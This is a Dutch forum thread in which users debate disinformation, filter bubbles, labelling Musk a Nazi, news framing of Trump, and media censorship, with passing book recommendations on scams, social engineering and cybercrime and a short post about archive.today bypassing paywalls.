:strip_exif()/u/106968/belkar2.gif?f=community)
Look for the signal in your life, not the noise.
Canon R6 | RF 24-70 f/2.8 L | 50 f/1.8 STM | 430EX II
Sigma 85 f/1.4 Art | 100-400 Contemporary
Zeiss Distagon 21 f/2.8
/u/2762/crop6086aefd668e4.png?f=community)
:strip_icc():strip_exif()/u/16567/my_avatar2.jpg?f=community){kind=avatar}
:strip_icc():strip_exif()/u/734655/crop6390c3acd41c6_cropped.jpg?f=community)
"Doubt—the concern that my views may not be entirely correct—is the true friend of wisdom and (along with empathy, to which it’s related) the greatest enemy of polarization." -- Václav Havel
:strip_icc():strip_exif()/u/25380/vcore.jpg?f=community)
:strip_exif()/u/4143/crop673c629560e43_cropped.gif?f=community)
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
Er zijn 2 problemen met het verbieden:
1. Als we het geen Nazi noemen dan moet er een nieuwe term bedacht worden die aansluit op de ernst van de situatie. En het is inmiddels duidelijk hoe ernstig de houding in Amerika is, namelijk zeer ernstig.
2. Het beperkt tegenstanders met het "name calling", terwijl Trump, Musk en de rest daar hevig op leunen.
We zijn al lang voorbij het punt waar het een ongelijk speelveld werd. Verder is iemand een Nazi benoemen nog geen haatzaaien of desinformatie, althans dat argument kan niet gemaakt worden zonder er op te wijzen dat rechts (Amerika, Wereldwijd, NL) al jaren veelvuldig gebruik maken van deze tactiek.
Persoonlijk ben ik geen fan van Musk een Nazi te noemen. Die term is niet exact genoeg en wat Musk/Trump/etc doen komt niet overeen met de meest strikte definities die er zijn. Echter, in een discussie met vreemden zou ik wel die term gaan gebruiken zodat deelnemers bewust worden van de historisch betekenis.
Laat ik het zo zeggen: Het is mogelijk dat Trump zonder wereld oorlog erger zal zijn dan Hitler met een wereld oorlog. De functie van Hitler (en het Nazisme) is dus niet alleen vergelijkend, maar ook waarschuwend. En het feit dat grote groepen mensen die vergelijking maken met het grootste kwaad dat onze wereld gekend heeft geeft aan hoe ver Trump/Musk al heen is.
Overigens, was het altijd een kwestie van tijd zijn voor dat Hitler vervangen zou worden.
Enfin, Musk een Nazi noemen heeft zeker wel een functie, vergelijkbaar met de klassieke sprookjes, en daarom is het ook belangerijker. Echter vanuit een wetenschappelijk perspectief is het niet geheel juist. Helaas is dit forum zowel wetenschap als maatschappelijk.
"Doubt—the concern that my views may not be entirely correct—is the true friend of wisdom and (along with empathy, to which it’s related) the greatest enemy of polarization." -- Václav Havel
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
Naast nog het feit dat hij een Hitler groet doet tijdens de inauguratie van Trump. Tweemaal zelfs, dus je kan het geen toeval meer noemen.
@Mfpower In woord en handelingen maakt hij kenbaar dat hij een nazi is, maar ik mag hem niet zo benoemen?
:strip_exif()/u/88107/crop6107159c924f6.gif?f=community)
"Atheism is an attitude, a frame of mind that looks at the world objectively, fearlessly, always trying to understand all things as a part of nature" - Carl Sagan
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
/u/237439/kerstmuts02.png?f=community)
Goed om te horen!
Ik denk dat wat wij zelf kunnen doen is mensen aanspreken en in gesprek blijven gaan in de echte wereld en ons blijven informeren over de dingen die echt gebeuren. Onze gezamenlijke vijand is niet de groep mensen die om wat voor reden dan ook in een desinformatie bubbel terecht zijn gekomen, maar dat instrument op zich.
Los van de vraag of je een opvangcentrum in je achtertuin zou willen is het vooral ook de vraag hoe we met elkaar om gaan met dit soort vraagstukken - niet met ideologisch gedreven sectarische bs zo te lezen
Dank voor het delen, heeft mij ook weer aan het denken gezet hoe hier mee om te gaan.
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
"Doubt—the concern that my views may not be entirely correct—is the true friend of wisdom and (along with empathy, to which it’s related) the greatest enemy of polarization." -- Václav Havel
:strip_icc():strip_exif()/u/500694/crop5a144f5589fd4_cropped.jpeg?f=community)
:strip_icc():strip_exif()/u/128683/drop.jpg?f=community)
Ik ben toch even in m'n archieven gedoken, ik heb even tijd
Ik weet dat de correspondent een wat linksere en positieve inslag heeft, maar ook dat er prima journalistiek met bronnen en cijfers aan ten grondslag ligt.
https://decorrespondent.n...485aa75?mc_cid=e39b8854f8
Overigens is het niet te ontkennen dat kleine groepen mensen zeker in de fabeltjesfuik en extremistische bubbels terecht komen. Maar dat zijn al bestaande voorkeuren. Of mensen die van nature makkelijk beïnvloedbaar zijn.
Net zoals dat maar 5-10% van de bevolking vatbaar is voor hypnose. In tegenstelling tot wat films ed je willen doen geloven.
[ Voor 4% gewijzigd door DropjesLover op 21-02-2025 19:57 ]
BThGvNeOA
Bond Tegen het Gebruik van Nutteloze en Onbekende Afkortingen!
Gewoon uitschrijven wat je bedoelt is zo moeilijk niet... PR (persoonlijk record?), ICE/M/A (verbrandingsmotor?), kdv (kinderdagverblijf), DA (dierenarts?)etc...,
Verwijderd
Bedankt! Goed artikel waardoor ik mijn overtuigingen wel moet corrigeren. Toch wil ik er eerst nog wat dieper in wil duiken om te kijken welke punten precies gecorrigeerd moeten worden.:
[...]
Ik ben toch even in m'n archieven gedoken, ik heb even tijd
Ik weet dat de correspondent een wat linksere en positieve inslag heeft, maar ook dat er prima journalistiek met bronnen en cijfers aan ten grondslag ligt.
https://decorrespondent.n...485aa75?mc_cid=e39b8854f8
I stand corrected.
/u/217510/crop660db19c1cf7b_cropped.png?f=community)
Sorry, dat mensen die in de fabeltjesfuik of extremisme trappen bestaande voorkeuren hebben, makkelijk beïnvloedbaar zijn is onzin. Dat ze dom zouden zijn, idem.
Het is gewoonweg niet waar. Een ieder kan hier in trappen. Dom, slim, lelijk, mooi, klein, groot, dik, dun, Belg, Nederlander, Duitser, Rus, Oekraïner, Amerikaan, Hongaar, Brit, ... zelfs een pinguïn kun je nog belazeren.
En ik geef het bij deze toe. Ik ben een oplichter. Ik licht mijn katten op, meerdere keren per dag. Nee, ik zet ze niet in lichterlaaie. Nee, ze zijn ook niet nucleair geladen. Ze denken dat ze vlees eten. Het ruikt er ook naar. Het ziet er zo uit. Het heeft eenzelfde structuur. Maar hoofdzakelijk is het heel iets anders. Soylent green
nou gaat dat laatste weer wat te ver. Ze worden in ieder geval wel om de tuin geleid.Zoek eens uit hoe marketing werkt, het handige neefje van Freud (Edward Bernays) heeft het uitgevonden.
Het gevaar is dat zij die zich onkwetsbaar hiervoor voelen (want niet de doelgroep, of te intelligent, te sterk, enz) er juist in zullen trappen. Want con men staat con voor confidence. Men speelt met je goedgelovigheid, je vertrouwen. Jij bent toch niet zo dom dat jij er in zou tuinen? Dat doen alleen anderen!
Mocht je er meer over willen leren, dan zet ik in deze post nog e.e.a. uiteen Jerie in "[ZT] Trump II en de Amerikaanse politiek"
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
Ik noem niemand dom? Ik noem eigenlijk expliciet mensen verdraaid moeilijk werkelijk beinvloedbaar.:
[...]
Sorry, dat mensen die in de fabeltjesfuik of extremisme trappen bestaande voorkeuren hebben, makkelijk beïnvloedbaar zijn is onzin. Dat ze dom zouden zijn, idem.
Het is gewoonweg niet waar. Een ieder kan hier in trappen. Dom, slim, lelijk, mooi, klein, groot, dik, dun, Belg, Nederlander, Duitser, Rus, Oekraïner, Amerikaan, Hongaar, Brit, ... zelfs een pinguïn kun je nog belazeren.
En ik geef het bij deze toe. Ik ben een oplichter. Ik licht mijn katten op, meerdere keren per dag. Nee, ik zet ze niet in lichterlaaie. Nee, ze zijn ook niet nucleair geladen. Ze denken dat ze vlees eten. Het ruikt er ook naar. Het ziet er zo uit. Het heeft eenzelfde structuur. Maar hoofdzakelijk is het heel iets anders. Soylent green
Zoek eens uit hoe marketing werkt, het handige neefje van Freud (Edward Bernays) heeft het uitgevonden.
Het gevaar is dat zij die zich onkwetsbaar hiervoor voelen (want niet de doelgroep, of te intelligent, te sterk, enz) er juist in zullen trappen. Want con men staat con voor confidence. Men speelt met je goedgelovigheid, je vertrouwen. Jij bent toch niet zo dom dat jij er in zou tuinen? Dat doen alleen anderen!
Mocht je er meer over willen leren, dan zet ik in deze post nog e.e.a. uiteen Jerie in "[ZT] Trump II en de Amerikaanse politiek"
Ik zeg dat veruit de meeste mensen eigenlijk zelf al in de fabeltjesfuik en bubbels zitten omdat het aansluit en versterkt waar ze toch al naar neigden / dachten / aanvoelden. Een dergelijke bubbel is een groep van gelijkgestemden, dat hun wereldbeeld bevestigt (en versterkt/verankert). Daar voelen mensen zich nu eenmaal prettig bij.
Dat is totaal ongeschikt aan objectief gemeten intelligentie, en men is er niet als totale buitenstaander in gemanipuleerd.
Iemand beetnemen of verleiden tot een handeling (aankoop, babbeltruck) gaat op vertrouwen en beloften, maar ook over relatief kleine bedragen of handelingen. Daarbij gaat ook lang niet iedereen (veruit een minderheid eigenlijk) er op in. Daarom focussen kwaadwillenden zich ook op kwetsbare/makkelijk beinvloedbare personen.
Bij een nieuwe auto doet men doorgaans wat meer onderzoek dan bij een ander shampoo-merk.
Marketing richt zich ook redelijk plat, 2-dimensionaal op 1 aspect. Denk een cirkel
Bubbels zijn 3-dimensionaal, uit vele schijfjes cirkels. Er zijn veel meer dempende omgevingsfactoren aanwezig die werkelijk gedrag of wereldbeeld beinvloeden en veranderingen dempen.
Zie ook mijn eerdere post over hoe weinig invloed nepnieuws objectief gemeten werkelijk heeft.
Ik zie ook problemen. Kijk hoe lang het duurde voordat... bepaalde landen akkoord gingen met lidmaatschap van 2 landen duurde.
En die waren niet in oorlog of hadden direct benodigde veiligheidsgaranties nodig.
[ Voor 11% gewijzigd door DropjesLover op 21-02-2025 23:58 ]
BThGvNeOA
Bond Tegen het Gebruik van Nutteloze en Onbekende Afkortingen!
Gewoon uitschrijven wat je bedoelt is zo moeilijk niet... PR (persoonlijk record?), ICE/M/A (verbrandingsmotor?), kdv (kinderdagverblijf), DA (dierenarts?)etc...,
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
BThGvNeOA
Bond Tegen het Gebruik van Nutteloze en Onbekende Afkortingen!
Gewoon uitschrijven wat je bedoelt is zo moeilijk niet... PR (persoonlijk record?), ICE/M/A (verbrandingsmotor?), kdv (kinderdagverblijf), DA (dierenarts?)etc...,
:strip_icc():strip_exif()/u/237152/icon.jpg?f=community){kind=icon}
BThGvNeOA
Bond Tegen het Gebruik van Nutteloze en Onbekende Afkortingen!
Gewoon uitschrijven wat je bedoelt is zo moeilijk niet... PR (persoonlijk record?), ICE/M/A (verbrandingsmotor?), kdv (kinderdagverblijf), DA (dierenarts?)etc...,
/u/5310/creep_cut.png?f=community)
Dat artikel herinner ik me. Ik heb het idee dat het artikel een beetje mist wat desinformatie doet, terwijl het probleem dat aangekaart wordt, dat mensen twijfelen of nieuws echt is (en niet herkennen of het neutraal of gekleurd is), een van de grootste winsten van mis-/desinformatie is (naast beïnvloeden waar over gesproken wordt en waar just niet). In het artikel wordt veel opgehangen aan "laat staan dat zij zich er anders door gaan gedragen dan ze van plan waren.". Sure dat gebeurd niet snel, maar is ook niet het doel, het doel is twijfel zaaien en autoriteit ondermijnen, en daarmee het vermogen van mensen om kritisch te kunnen denken te ondermijnen (menselijke natuur is gewicht toe te kennen aan de meerderheid, maar in een bubble is de meerderheid niet echt de meerderheid, en de autoriteit niet echt een autoriteit) en vatbaar te maken voor invloeden. Domheid wordt tot een deugd gemaakt, en ipv te vertrouwen op informatievoorziening wordt vertrouwd op de goed gevoede onderbuik
[ Voor 3% gewijzigd door Norjee op 22-02-2025 22:14 ]
Wat je aan bronnen zoals Fox News (zie bv. uitleg van gisteren) kan zien is dat ze het ook een tijdrovende klus maken om de achterliggende informatie tot je te nemen.:
[...]
Sure dat gebeurd niet snel, maar is ook niet het doel, het doel is twijfel zaaien en autoriteit ondermijnen, en daarmee het vermogen van mensen om kritisch te kunnen denken te ondermijnen (menselijke natuur is gewicht toe te kennen aan de meerderheid, maar in een bubble is de meerderheid niet echt de meerderheid, en de autoriteit niet echt een autoriteit) en vatbaar te maken voor invloeden. Domheid wordt tot een deugd gemaakt, en ipv te vertrouwen op informatievoorziening wordt vertrouwd op de goed gevoede onderbuik
Het is hetzelfde format als Twitter: je roept iets en de mensen die het lezen moeten bevestigen, ipv dat de verslaggever zelf de informatie bevestigt voordat het geplaatst wordt, of deze intentie überhaupt heeft.
Dat zie je eigenlijk bij alle wapperende roeptoeters voorbijkomen: wel modder rondslingeren, nergens mogelijk maken om snel door te klikken naar de afkomst van die modder.
Je ziet het op GoT ook steeds vaker voorkomen dat mensen een schermafdruk maken of overnemen en deze plaatsen ipv door te linken. Zulke reacties kan ik zelf standaard niet meer serieus nemen omdat het mij als lezer frustreert, op alle manieren waarop die term interpreteerbaar is, want het kost gewoon extra moeite om erachter te komen waar het vandaan komt en hoe betrouwbaar het is.
Zelfde geldt voor items uit liveblogs: alleen een kopie van nieuws is geen nieuws.
Daarnaast wordt dat gedrag in de minder serieuze topics populair gemaakt en langzaamaan zie je het nu doordruppelen naar de serieuzere topics. Waarschijnlijk niet eens altijd met verkeerde bedoelingen, maar het maakt bevestiging moeilijker en mogelijkheid tot misbruik makkelijker.
Met dat in gedachten zou ik ook een beetje uitkijken met het benoemen van gedrag als dom. Het zit 'm voor zover ik kan zien een groot deel in de neiging om geen energie te willen verspillen aan het doorzoeken wat hier imho het probleem is. Sites zoals Fox News maken daar gretig gebruik van en maken het zo makkelijker om desinformatie te verspreiden.
Overigens is exact dezelfde tactiek ook terug te zien in de producten van grote bekende techbedrijven. Airbnb heeft wel een zoekfunctie, maar deze is nutteloos omdat ze tonen wat zij vinden dat meer inkomsten oplevert via de marge voor iedere woning. Door de toevoeging van zoekfilters lijken ze meer controle te geven over wat je ziet... guess what: dan tonen ze nog steeds de woningen die meer marge opleveren en door alleen eigen opties voor dagen die wel beschikbaar zijn te bieden kun je niet zien op welke dagen iets goedkopers in de omgeving eventueel wel beschikbaar is. Het is de illusie van controle.
Zo kun je voor ieder groot platform zien dat ze eigenlijk een (voor de eindgebruiker) relatief simpel hulpmiddel aanbieden waarvoor je door overbodig veel hoepels moet springen om de nuttige info te vinden. Met dat in gedachten is het niet vreemd dat desinformatie en de huidige techbedrijven (met tech zelf is weinig mis, het is hoe het wordt ingezet) een match made in heaven zijn.
[ Voor 5% gewijzigd door Stukfruit op 23-02-2025 02:25 ]
Dat zit wel Schnorr.
Dit is iets wat me recent pas is gaan opvallen: er zijn op CNN steeds meer van dit soort artikelen te vinden.
Met de regels hierboven in gedachten houdend is dat niet meer dan propaganda te noemen. Er staat geen kritisch woord tussen en het lijkt reclame voor Bhutan met zaken die niet echt te bevestigen zijn.
Deze hier is ook iets wat je niet zou verwachten van een partij die serieus nieuws zou moeten brengen ipv clickbait waar je weinig mee kan. Maar het staat dus wel groot op de voorpagina.
Het gaat hier niet om de Outbrain of Taboola chumboxes, maar om "echte" artikelen. Ik vind dit best zorgwekkend. Als zelfs een CNN nu de weg van Fox begint te volgen... de stap naar desinformatie op serieus vlak (het verhaal over Bhutan even buiten beschouwing latende) wordt zo steeds kleiner
Met de regels hierboven in gedachten houdend is dat niet meer dan propaganda te noemen. Er staat geen kritisch woord tussen en het lijkt reclame voor Bhutan met zaken die niet echt te bevestigen zijn.
Deze hier is ook iets wat je niet zou verwachten van een partij die serieus nieuws zou moeten brengen ipv clickbait waar je weinig mee kan. Maar het staat dus wel groot op de voorpagina.
Het gaat hier niet om de Outbrain of Taboola chumboxes, maar om "echte" artikelen. Ik vind dit best zorgwekkend. Als zelfs een CNN nu de weg van Fox begint te volgen... de stap naar desinformatie op serieus vlak (het verhaal over Bhutan even buiten beschouwing latende) wordt zo steeds kleiner
Dat zit wel Schnorr.
:strip_icc():strip_exif()/u/36378/crop5a3f931ecfec0_cropped.jpeg?f=community)
Eigenlijk ben ik niet eens bang voor de "AI"-slop die ze produceren omdat het een wrapper lijkt te zijn om de SEO-slop die ze al een stuk langer hebben
Kijk de voorbeelden er maar eens op na. Dan krijg je een lange lijst met wol tekst waar je niets mee kan omdat het met meer woorden omschrijft wat je zelf hebt gevraagd en daarna komt het met een lijstje SEO-resultaten
Hier bijvoorbeeld. Het is een papegaai die in SEO poept.
[ Voor 7% gewijzigd door Stukfruit op 21-05-2025 17:26 ]
Dat zit wel Schnorr.
Ik lees mijn vorige stukje door en zie dat het inderdaad interpretabel is zoals jij hebt beantwoordt.
Ik bedoelde inderdaad het tegenovergestelde van wat jij denkt dat ik schreef. Lees nog een keer goed door met deze gedachte.
Ik bedoelde inderdaad het tegenovergestelde van wat jij denkt dat ik schreef. Lees nog een keer goed door met deze gedachte.
Als je met:
Ik lees mijn vorige stukje door en zie dat het inderdaad interpretabel is zoals jij hebt beantwoordt.
Ik bedoelde inderdaad het tegenovergestelde van wat jij denkt dat ik schreef. Lees nog een keer goed door met deze gedachte.
niet bedoelt dat je mij schaart bij de groep mensen die een industrie steunen die de intentie heeft om informatie te 'sturen', dan kan je het beter zelf nog eens uitleggen.
/u/9441/crop658f49c35ef2a.png?f=community)
"When I am weaker than you I ask you for freedom because that is according to your principles; when I am stronger than you I take away your freedom because that is according to my principles"- Frank Herbert
:strip_icc():strip_exif()/u/37855/icoon.jpg?f=community)
Nu gaat het mij niet om de huidige situatie waar de onderstaande brief over gaat. Wel een duidelijk voorbeeld waar de politiek / de staat beperkingen oplegt voor de journalistiek / de media. Vooral dat de regionale media eigenlijk haast alles langs een censorship review moet laten gaan. Daarmee zet je de weg wel direct open naar alle neuzen dezelfde kant op berichtgeving, of je mag het niet publiceren. Je beschermt het medialandschap wellicht van invloeden van buitenaf maar stuurt al heel snel naar een regime spreekpop zonder journalistiek weerwoord.
:strip_exif()/f/image/893OEdZAvmCmeJn0p1BN31q5.jpg?f=fotoalbum_large)
:no_upscale():strip_icc():strip_exif()/f/image/893OEdZAvmCmeJn0p1BN31q5.jpg?f=user_large)
Erzsébet Bathory | Strajk Kobiet | You can lose hope in leaders, but never lose hope in the future.
:strip_icc():strip_exif()/u/439769/crop5a510243ea2e3_cropped.jpeg?f=community)
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
Zie ook voor de inzet van die legitimering (misschien niet verkeerd bedoeld, dus zie dit svp niet als aanval ):
Stukfruit in "[ZT] Trump II en de Amerikaanse politiek - deel II"
):Stukfruit in "[ZT] Trump II en de Amerikaanse politiek - deel II"
[ Voor 19% gewijzigd door Stukfruit op 28-01-2026 08:33 ]
Dat zit wel Schnorr.
Look for the signal in your life, not the noise.
Canon R6 | RF 24-70 f/2.8 L | 50 f/1.8 STM | 430EX II
Sigma 85 f/1.4 Art | 100-400 Contemporary
Zeiss Distagon 21 f/2.8
KOPHI - Klagen Op Het Internet podcast. Luister hier! – Kophi E20 - energieprijzen, economische vluchtelingen (Dubai) en tax op vermogen.
Het gaat allemaal om hoe je het repliceert in mijn optiek. Wat ik al zei, het totaal niet behandelen kan juist te veel ruimte bieden aan media die het wel kritiekloos willen verspreiden. Er dan toch aandacht aan besteden maar mét kritische noot kan dan mogelijk toch te verkiezen zijn boven er helemaal niet over schrijven. Dat hangt er ook maar weer helemaal van af of en hoe andere media het oppakken.
Mocht je een goed voorbeeld tegen komen dan ben ik wel benieuwd.
Mocht je een goed voorbeeld tegen komen dan ben ik wel benieuwd.
Look for the signal in your life, not the noise.
Canon R6 | RF 24-70 f/2.8 L | 50 f/1.8 STM | 430EX II
Sigma 85 f/1.4 Art | 100-400 Contemporary
Zeiss Distagon 21 f/2.8
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
Dat gaat propaganda, kundige Mallory, enz. niet stoppen.
Die spelen een long game. Roepen bijvoorbeeld censuur!!, bijv. hun agenda te normaliseren. Terwijl iedereen een spamfilter gebruikt. Mensen gebruiken een vorm van anti-malware software (al dan niet in OS gebakken). 33% van de WWW gebruikers schijnt een adblocker te gebruiken. Men gebruikt een firewall (en spielerei zoals NAT, UPnP, ...). Ieder forum kent moderatie (zie de post boven deze), en bad actors, belangen, scopes & boundaries, enz. Iedere website heeft ook limited content waarbij een redactie bepaald wat er wel of niet te lezen is, de prioriteit, wat wordt uitvergroot, wat naar de achtergrond wordt geschoven (denk aan de shadowban). Al in de tijd van begin Internet (toen je het nog met een hoofdletter schreef
) had je al kill files voor Usenet.Dat heeft allemaal invloed op wat je te zien krijgt, soms op grote schaal, en soms voor grotere groepen. Trollenlegers, big data, en ML/AI speelt hier op in. Tegenwoordig is dat geraffineerder, en qua recente geschiedenis zijn de keren dat het lukt minder gedocumenteerd dan de (slechte) fails. Daardoor ontstaat een bias; overconfidence.
Richard Stallman weigerde in de vorige eeuw een user account met wachtwoord te gebruiken omdat een wachtwoord andere medegebruikers uit zou sluiten. Maar dat is een geheel andere tijd, en niet hoe AAA werkt.
Dus ja, iedereen laat zich vertellen wat diegene te zien krijgt. Degenen die hard roepen dat ze zich dat niet laten zeggen: 'not knowingly'... maar, dat is semantiek.
Het is alsof iemand zegt: mij gaan ze niet manipuleren (of hacken). Vervolgens neemt diegene maatregelen om niet gemanipuleerd (of gehackt) te worden, en dan waant diegene zich veilig. Terwijl het een constant gevecht is, met veel radertjes en afhankelijkheden (we zijn immers een samenleving). Dat gevecht: meerdere lagen van manipulatietactieken (of hacktechnieken). Mensen die zich veilig wanen zijn juist de uitstekende marks. Of het nou gaat om social engineering, andere vormen van hacking, oplichting, of manipulatie middels propaganda.
Elon Musk is op deze tour ook in Poetin's web gevallen, en ik heb aanwijzingen ingezien waaruit lijkt dat hij getarget is. Het probleem is met name dat die aanwijzingen de omvang niet lieten zien. Zo is er ook bewijs dat Baudet amplification heeft toe kunnen passen op content, maar dat is dan specifiek gebleken en je weet niet wie de opdracht gaf (daar kun je wel vermoedens over hebben).
Je hebt hier uitstekende boeken over.
De Mannen Van Poetin over hoe de netwerken in Rusland werken. Rusland is eigenlijk een gigantisch crimineel paradijs met een natiestaat als façade. Ook het verdeel en heers dat de SU in de Bloodlands met succes in uitvoer bracht, is relevant, omdat Rusland nog steeds hetzelfde trucje --met succes-- toepast, maar dan digitaal.
Het ironische in deze kwestie is dat als je bereid bent wat cryptocurrency uit te geven, je daarmee alles van iedere Rus te weten kunt komen op darknet. Ook van medewerkers van overheid. Je kunt dus hun eigen cultuur tegen hen gebruiken. De Bulgaarse journalist Christo Grozev (gelieerd aan Belllingcat en The Insider) maakte daar zijn hobby van, is ook een van de onderzoekers m.b.t. MH17. De kwestie MH17 is wat mij betreft voor iedere Nederlander een haakje voor een leermoment in deze.
The Confidence Game is en blijft wat mij betreft het beste boek over de geschiedenis van oplichting in de meatspace, plus uitstekende uitleg hoe het te werk gaat. Niet alleen komen alle vormen van (fysieke) oplichting ter sprake, ook de terminologie wordt haarfijn uitgelegd, door een Russische Amerikaan met Harvard credentials die ook een aardig potje kan pokeren (Konnikova). Voor wie liever luistert: in 2017 maakte ze over diverse con artists de podcast The Grift. Het hoofdstuk en de aflevering over Ferdinand (Fred) Demara is een boek waardig. Vb: de man deed zich voor als chirurg in de US navy en is er mee weggekomen.
Qua social engineering is Mitnick nog steeds relevant (Ghost in the Wires), vooral omdat je het vanuit zijn perspectief meemaakt, en hij kundig daarin is (qua hacking was hij voor '90s begrippen al matig) maar ik heb over social engineering ook een recenter, prima boek over gelezen met drogere content waar ik nu even niet op ga komen. Het is in relatie tot digitaal not my cup of tea.
Boeken over topcriminelen op internet zijn hoe dan ook interessant in deze context. Het verhaal over de internetcrimineel Paul Le Roux, in The Mastermand van Evan Ratliff, of The Kingpin over de carder Max Butler alias Iceman zijn slechts twee voorbeelden. Le Roux speelde een long game, en zette zelfs lokale apothekers onder druk om mee te werken aan zijn gigantische imperium (de 'need RX' spam van jaren '00 kun je aan hem toeschrijven), ook deed meneer al aan FDE voor het gangbaar was (programmeur van voorganger TrueCrypt, en waarschijnlijk ook een drijvende financier achter TrueCrypt). Ook Brian Krebs exposed met regelmaat criminele internet-netwerken.
Ook de kwestie over Cambridge Analytica heb ik een aardige documentaire over gezien met een insider aan het woord. Hoewel qua IT inmiddels alweer een relatief oudere case is van massale (doch dankzij big tech targeted) beïnvloeding, is ze politiek relevant. Docu te zien op Netflix.
Qua IT security breed komen veel good & bad guise (
) voorbij in de podcast Darknet Diaries. Ook Modderkolk's Schaduwoorlog brengt relevante onderwerpen aan het licht.En dan nog even een opmerking. Er zijn mensen, die houden van een uitdaging. Als je tegen ze zegt: dit gaat je niet lukken, dan werkt dat als een rode lap. Ik heb orgs meegemaakt die hetzelfde beweerden qua beveiliging. Dan demonstreer je een lek, iets simpels zoals bijvoorbeeld het pasjessysteem, of je weet een implant te installeren (die er vervolgens een maand niets doet), om te bewijzen dat het kan. En dan komen alle drogrederingen waarom ze dat niet gaan oplossen. Om die reden wil je als consultant de boel goed aan de tand voelen, een rapport schrijven met aanbevelingen, en wegwezen, volgende klant. Er gaan altijd lekken niet gevonden worden, en er gaan altijd zaken in het rapport inadequaat worden aangepakt. Alleen al het financiële plaatje kan al een probleem zijn, ook in het zogenaamd rijke Nederland. Toch is daar niet per definitie sprake van malicious intent. Men moet roeien met de riemen die men heeft.
"Nobody is very good at self-reflection, I'm afraid." -- Linus Torvalds. Kindprofielen zijn binnenkort weer beschikbaar.
/u/284549/crop5c8c1d3ca48d4.png?f=community)
Eh, over welke oorlog hebben we het nu die eerder gewonnen wordt als Rudy zich nou maar wat weet te vermannen -- de handelsoorlog of Rusland?
Ik denk dat hij bij geen van beide veel zoden aan de dijk gaat zetten...Het artikel schrijft over alle vergelijkbare incidenten, inclusief het weren van de vrije pers, en eindigt met
En dat linkt weer naar Hoe Trump met succes de Amerikaanse media beteugelt. Lijkt me geen woord Frans bij -- tenzij je erover wil vallen dat die headline ook gewoon iets zou moeten zijn in de trant "hoe fascistische volksmenner Trump de laatste strijders van de vrije media bruut vermorzelt", voor de onnozelaars die alleen het woord "succes" lezen en denken dat er iets goeds aan het gebeuren is.
Ik vind het nogal wat dat we gretig klaar staan om "desinformatie" te plakken op alles dat niet alarmistisch genoeg geformuleerd is. Aan de ene kant willen we geen propaganda die het onnadenkende volk beïnvloedt met schreeuwkoppen, maar aan de andere kant willen we wel dat er zo hard mogelijk geroepen wordt dat er dingen niet kloppen, want het onnadenkende volk leest geen achtergrondartikelen en kan niet zelf bedenken wat "vrijheid van meningsuiting" inhoudt en welke acties daar duidelijk haaks op staan. Tja. Doet me een beetje denken aan de Franse revolutie, waar je ook al op het hakblok kon komen als je "gevaarlijk gematigd" was.
Maar voor een nieuwsartikel, en geen opiniecolumn, vind ik dit gewoon een nette opsomming van de situatie. Misschien dat er nog een standaard stukje copy-paste kan komen onder zulke artikelen over wat het Eerste Amendement is in Amerika, wat dit zou moeten betekenen ("Congress shall make no law"), en wat er daadwerkelijk van overblijft in het Amerika van nu (might makes right). Maar "het wordt gepresenteerd alsof het normaal is" vind ik een beetje als eisen dat bij elk artikel over, zeg, een bomaanslag of aardbeving expliciet wordt vermeldt "er zijn mensen dood gegaan, en dat is ERG en NIET NORMAAL", in plaats van wat we in de basis als een nogal ongevoelige opsomming van feiten zouden kunnen veroordelen.
Sowieso: iets kan alleen nieuws zijn als het niet normaal is. Dat is helaas waarom we ook steeds minder lezen over oorlogen naarmate ze langer duren, en niet omdat ze minder erg geworden zijn.
[ Voor 4% gewijzigd door MneoreJ op 19-02-2026 12:06 ]
Dat raakt kant noch wal. Niet "dat slaat kant noch wal". Wel "dat slaat als een tang op een varken".
Archive.today (.is, .ml, .ph, enz) wordt nog wel eens gebruikt om paywalls te omzeilen. Hierbij doet het zich voor als bijvoorbeeld GoogleBot om een paywall te omzeilen. Daar lijkt mij niets mis mee. Vandaag las ik dat ze ook andere methodes gebruiken, zoals daadwerkelijk inloggen met (gehackte, gelekte) credentials. Daar lijkt me wel wat mis mee. Van beide is geen concreet bewijs; alleen PoC dat je op die manier de content kunt zien (vaak zit de content zelfs in je browser en kun je deze gewoon lezen, zoals een zoekmachine dat ook kan). Ook kun je e.e.a. repliceren met bijvoorbeeld Selenium.
Het is ook een tool die gebruikt wordt om geoblocks te omzeilen. Dus bijvoorbeeld in Europa kun je er rt.com mee bekijken (waarom zou je). Ook blokkeert Duitsland aardig wat domeinen inmiddels. Voor een lijst, zie: https://cuiiliste.de/domains en VK is ook flink bezig met blokkeren.
Soms is het ook nuttig om te gebruiken om een pagina te cachen, zodat je achteraf veranderingen kunt vergelijken. Daar doen nieuwssites nog wel eens aan: ondoorzichtige updates in artikelen die je vervolgens niet kunt diff'en.
Natuurlijk zijn er ook zat tegenargumenten te verzinnen, zoals dat het ingaat tegen het recht om vergeten te worden, of omdat men inkomsten mis zou lopen door piraterij.
Voor al deze argumenten valt wat te zeggen. Hoe je er ook in staat: er is een en ander gaande in Archief-land.
